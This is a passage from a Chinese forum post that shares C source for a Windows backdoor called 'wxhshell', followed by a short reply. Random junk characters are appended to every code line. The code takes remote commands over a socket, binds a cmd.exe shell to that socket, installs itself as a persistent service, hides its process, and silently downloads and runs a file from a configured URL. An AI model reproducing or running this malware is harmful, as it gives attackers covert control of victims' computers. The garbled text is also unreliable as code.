  if(DownloadFile(cmd,wsh)) FB,rQ9D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .MDSP/s  
  else .*595SuF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pwSkwJ]  
  } 6v}q @z  
  else { .bV^u  
*>EV4Hl  
    switch(cmd[0]) { m4~~q[t  
  c":2<:D&  
  // 帮助 HpeU'0u0VK  
  case '?': { &>Y.$eW_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .DnG}884  
    break; ]<%NX $9\  
  } A'u]z\&%c  
  // 安装 [z_z tK1  
  case 'i': { ?mVSc/  
    if(Install()) 1B 0[dK2N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8U]mr+  
    else <?;KF2A({  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _D+J3d(Pjk  
    break; ?caHS2%?ae  
    } NVom6K  
  // 卸载 l8%BRG  
  case 'r': { . Wd0}?}  
    if(Uninstall()) BP&] t1p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "9vL+Hh  
    else %\'G2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K1;b4Sl?A  
    break; u Vv %k5  
    } 1Z(9<M1!M  
  // 显示 wxhshell 所在路径 hVZS6gU,x  
  case 'p': { ,a2=OV  
    char svExeFile[MAX_PATH]; d?/g5[  
    strcpy(svExeFile,"\n\r"); o=lZl_5/u;  
      strcat(svExeFile,ExeFile); BoARM{m  
        send(wsh,svExeFile,strlen(svExeFile),0); ;kG"m7-/  
    break; ka`}lR  
    } S]e;p\8$Z  
  // 重启 $RC)e 7  
  case 'b': { qsQTJlq)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X VH( zJ  
    if(Boot(REBOOT)) cxPOO#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f& Sovuuh  
    else { d7Cs a c  
    closesocket(wsh); e+ m(g  
    ExitThread(0); |@'K]$vZ*  
    } nF,zWr[x  
    break; `lbRy($L  
    } LS-_GslE7\  
  // 关机 ':=20V  
  case 'd': { YQ1rS X3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ).tTDZ   
    if(Boot(SHUTDOWN)) vZqW,GDfXo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p7.~k1h  
    else { r"VNq&v]9  
    closesocket(wsh); k$Ug;`v#  
    ExitThread(0); <)L[V  
    } 3r?T|>|  
    break; 4~vn%O6n  
    } O^3XhTW^\~  
  // 获取shell 95/;II  
  case 's': { $>wN:uN(  
    CmdShell(wsh); }n,LvA@[0  
    closesocket(wsh); #~r+Z[(,p  
    ExitThread(0); + =U9<8  
    break; <#./q LSR  
  } (r1"!~d@  
  // 退出 Hm~.u.)\.  
  case 'x': { }JUc!cH8z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ki ?V eFp  
    CloseIt(wsh); u3jLe=Y'\  
    break; 4Le{|B  
    } )~w bu2;  
  // 离开 Jg.^h1>x  
  case 'q': { Z|3[Y@c \  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Iqj?wI 1)  
    closesocket(wsh); GIS,EwA  
    WSACleanup(); |A=~aQot  
    exit(1); E7<l^/<2S+  
    break; >GDf* ox[  
        } Xw162/:h  
  } - C8VDjf9  
  } raR=k!3i  
F]RZP/D`  
  // 提示信息 Ou|kb61zg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $o ;48uV^  
} 3_J({  
  } iW[%|ddk  
R{9G$b1Due  
  return; @|d`n\%x  
} 0"mr*hyj  
- G=doP0  
// shell模块句柄 @Fb 2c0?Y  
int CmdShell(SOCKET sock)  qt. =  
{ z E\~Oa;  
STARTUPINFO si; :M@#.  
ZeroMemory(&si,sizeof(si)); / !hxW}>^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LiEDTXRz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 87R$Y> V  
PROCESS_INFORMATION ProcessInfo; c <X( S  
char cmdline[]="cmd"; oe=W}y_k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G~f|Sx  
  return 0; VE^IA\J x  
} 80LN(0?x  
t2FA|UF  
// 自身启动模式 j__l'?s  
int StartFromService(void) #*+$o<Q]9  
{ TTSq}sb}  
typedef struct jf=90eJc  
{ Fw%S%*B8g  
  DWORD ExitStatus; GP=bp_L  
  DWORD PebBaseAddress; 6^z):d#u  
  DWORD AffinityMask; +"VXw2R_e  
  DWORD BasePriority; |#22pq?RP  
  ULONG UniqueProcessId; KN.WTaO  
  ULONG InheritedFromUniqueProcessId; |_16IEJ  
}   PROCESS_BASIC_INFORMATION; V"A* B  
z+j3j2  
PROCNTQSIP NtQueryInformationProcess; 6KX/Yj~B  
.R&jRtb/E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JiX-t\V~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |bk$VT4\  
0He^r &c3  
  HANDLE             hProcess; jjg[v""3|  
  PROCESS_BASIC_INFORMATION pbi; @KU^B_{i  
5&}p'6*K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nO8e'&|  
  if(NULL == hInst ) return 0; W"5VqN6v  
+VO(6Jn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O/fm/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g`41d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v@qVT'qlU  
.Q DeS|l  
  if (!NtQueryInformationProcess) return 0; awOH50R  
^dKtUH/78G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hJ~=eYK?J  
  if(!hProcess) return 0; 2Gn26L 5  
DxG8`}+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dz )(~@tgz  
W9jxw4)  
  CloseHandle(hProcess); 9*? i89T  
N?c!uO|h|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D3C3_ @*  
if(hProcess==NULL) return 0; g 4lk  
\C"hL(4-  
HMODULE hMod; A 7zL\U4  
char procName[255]; EskD)Sl   
unsigned long cbNeeded; ' -rRD\"q  
Z':w X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `'b2 z=j  
= Tq\Ag:  
  CloseHandle(hProcess);  1"RC!  
8]l(D  
if(strstr(procName,"services")) return 1; // 以服务启动 _i2k$Nr  
mN1n/LNi  
  return 0; // 注册表启动 Mo[yRRS#  
} ^8 cq qu  
mh,a}bX{  
// 主模块 Lwkl*  
int StartWxhshell(LPSTR lpCmdLine) 9+I /bl4  
{ VH<-||X/4  
  SOCKET wsl; \W"p<oo|H  
BOOL val=TRUE; >4nQ&b.u  
  int port=0; B<&g  
  struct sockaddr_in door; $[+)N ~  
T}Ve:S  
  if(wscfg.ws_autoins) Install(); G)&S%R!i\N  
C\}M_MD  
port=atoi(lpCmdLine); jXYjs8Iy  
*fQn!2}=(  
if(port<=0) port=wscfg.ws_port; ?I ;PJj  
z#/"5 l   
  WSADATA data; C{]1+eL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O@`KG ZEPY  
:O]US)VSj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )Qh*@=$-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4,?WNPqo  
  door.sin_family = AF_INET; Z~ u3{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .T#}3C/  
  door.sin_port = htons(port); !twYjOryH[  
_tpOVw4I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t/h,-x  
closesocket(wsl); ?7A>|p?"  
return 1; Te7xj8<  
} YZ6" s-  
Xx ou1l!  
  if(listen(wsl,2) == INVALID_SOCKET) { P 4+}<5  
closesocket(wsl); F[]6U/g n  
return 1; $aHHXd}@t2  
} M# cJ&+rP  
  Wxhshell(wsl); +IG=|X  
  WSACleanup(); E_Fm5zb?X  
@]dv   
return 0; [R<>3}50Y  
)Kq@ m1>@  
} 0N_u6*@  
qD,/Qu62  
// 以NT服务方式启动 |2Uw8M7.E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ht|"91ZC5  
{ Em(Okr,0  
DWORD   status = 0; C0CJ;   
  DWORD   specificError = 0xfffffff; .H Pa\b\L>  
+-qa7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \w)ddc!ZS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I?_WV_T&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v[O?7Np  
  serviceStatus.dwWin32ExitCode     = 0; rTim1<IXR  
  serviceStatus.dwServiceSpecificExitCode = 0; 0U?(EJ  
  serviceStatus.dwCheckPoint       = 0; aev(CY,z  
  serviceStatus.dwWaitHint       = 0; AYfL}X<Ig  
=ba1::18  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }4kQu#0o")  
  if (hServiceStatusHandle==0) return; lLLPvW[Q  
`@{(ijg.  
status = GetLastError(); 9(lcQuE9  
  if (status!=NO_ERROR) "G@(Cb*+T  
{ 4<Kxo\\S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A0bR.*3  
    serviceStatus.dwCheckPoint       = 0; Q+s2S>U{v  
    serviceStatus.dwWaitHint       = 0; #X2wy$GTG  
    serviceStatus.dwWin32ExitCode     = status; ahFK^ #s  
    serviceStatus.dwServiceSpecificExitCode = specificError; HQMug  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dtig_s,)D  
    return; xXSfYW  
  } O)D$UG\<  
wV\G$|Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *'@ sm*  
  serviceStatus.dwCheckPoint       = 0; 3gtKD9RL:  
  serviceStatus.dwWaitHint       = 0; M5 ^qc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m$7C{Mr'  
} 2a*+mw  
S3&n?\CO:  
// 处理NT服务事件,比如:启动、停止 @U9`V&])F[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )nrYxxN  
{ Y7;=\/SV  
switch(fdwControl) 35L\  
{ T[MDjhv'  
case SERVICE_CONTROL_STOP: = BbG2k  
  serviceStatus.dwWin32ExitCode = 0; @76I8r5l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @WiTh'w0  
  serviceStatus.dwCheckPoint   = 0; Z+=-)&L  
  serviceStatus.dwWaitHint     = 0; $LiBJ~vV<  
  { dVZ~n4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T8d=@8g,%  
  } /T+%q#4  
  return; t%Bh'HkG  
case SERVICE_CONTROL_PAUSE: UhJ!7Ws$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p{+F{e  
  break; <'\!  
case SERVICE_CONTROL_CONTINUE: .o]9 HbIk5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 204"\ mv  
  break; (-`PO]e48  
case SERVICE_CONTROL_INTERROGATE: P"o|kRO  
  break; [Y j: H  
}; I'[;E.KU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oTrit_@3  
} QL*RzFAD 3  
t+\<i8  
// 标准应用程序主函数 fYpJ2y-sA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6cD3(//  
{ 'p@m`)Z  
AGKT*l.-  
// 获取操作系统版本 /F6"uZSt4  
OsIsNt=GetOsVer(); e X6o 7a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WD! " $  
sL ;;'S&  
  // 从命令行安装 DQ9aq.;  
  if(strpbrk(lpCmdLine,"iI")) Install(); ddd2w  
h B_p  
  // 下载执行文件 &Pc.[k  
if(wscfg.ws_downexe) { ;Sg,$`]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cI/}r Z+  
  WinExec(wscfg.ws_filenam,SW_HIDE); q=-h#IF^  
} $4qM\3x0,  
*`LrvE@t  
if(!OsIsNt) { V]m}xZ'?^  
// 如果时win9x,隐藏进程并且设置为注册表启动 1_l)$"  
HideProc(); kUfbB#.5L  
StartWxhshell(lpCmdLine); P&<NcOCL&  
} 9c[bhGD?  
else %oquHkX%OJ  
  if(StartFromService()) Br.UN~q  
  // 以服务方式启动 ]7oo`KcQ|  
  StartServiceCtrlDispatcher(DispatchTable); |_QpB?b  
else b80&${v  
  // 普通方式启动 ?%#no{9  
  StartWxhshell(lpCmdLine); dBS_N/  
salDGsW^  
return 0; 06Q9X!xD  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五